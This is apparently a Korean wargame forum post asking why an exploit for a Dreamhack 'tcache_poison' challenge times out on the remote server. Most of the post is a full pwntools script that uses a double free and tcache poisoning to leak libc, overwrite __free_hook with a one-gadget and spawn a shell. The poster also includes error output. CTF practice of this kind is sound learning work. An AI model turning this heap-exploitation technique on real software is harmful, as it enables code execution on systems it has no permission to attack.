timeout관련
from pwn import *
p = remote("host3.dreamhack.games", 15157)
#p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
#full_relro이기때문에 hook_overwrite를 고려해볼수도 있고
#double free bug를 써봐야할듯
stdout = e.symbols['stdout']
p.sendline(b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', str('31337'))
p.sendlineafter(b't\n', b'2')
p.sendlineafter(b't\n',b'4')
p.sendafter(b': ',str('AAAAAAAAA'))
p.sendlineafter(b't\n',b'2')
p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', p64(stdout))
p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', b'BBBBBBBB')
p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'48')
p.sendafter(b': ', b'\x60')
p.sendlineafter(b't\n', b'3')
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6) + b"\x00" * 2)
print(hex(stdout))
lb = stdout - libc.symbols["IO_2_1_stdout"]
fh = lb + libc.symbols["__free_hook"]
print(hex(lb))
print(hex(fh))
oneshot = lb + 0x4f432
p.sendlineafter(b"t\n", b'1')
p.sendlineafter(b": ", b'70')
p.sendafter(b": ", b"31337")
p.sendlineafter(b"t\n", b'2')
p.sendlineafter(b"t\n", b'4')
p.sendafter(b": ", b'aaaaaaaaa')
p.sendlineafter(b"t\n", b'2')
p.sendlineafter(b't\n', b'1')
p.sendlineafter(b': ', b'70')
p.sendafter(b": ", p64(fh))
p.sendlineafter(b't\n', b"1")
p.sendlineafter(b": ", b'70')
p.sendafter(b': ', b'31337')
p.sendlineafter(b't\n', b"1")
p.sendlineafter(b": ", b'70')
p.sendafter(b': ', p64(oneshot))
p.sendlineafter(b"t\n", b'2')
p.interactive()
저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면
sh: 1: 2t.\x91\xd6: not found
Allocate
Free
Print
Edit
위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요
Traceback (most recent call last):
File "ex.py", line 17, in <module>
p.sendafter(b': ',str('AAAAAAAAA'))
File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter
res = self.recvuntil(delim, timeout=timeout)
다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?
NetRuuner32
댓글 27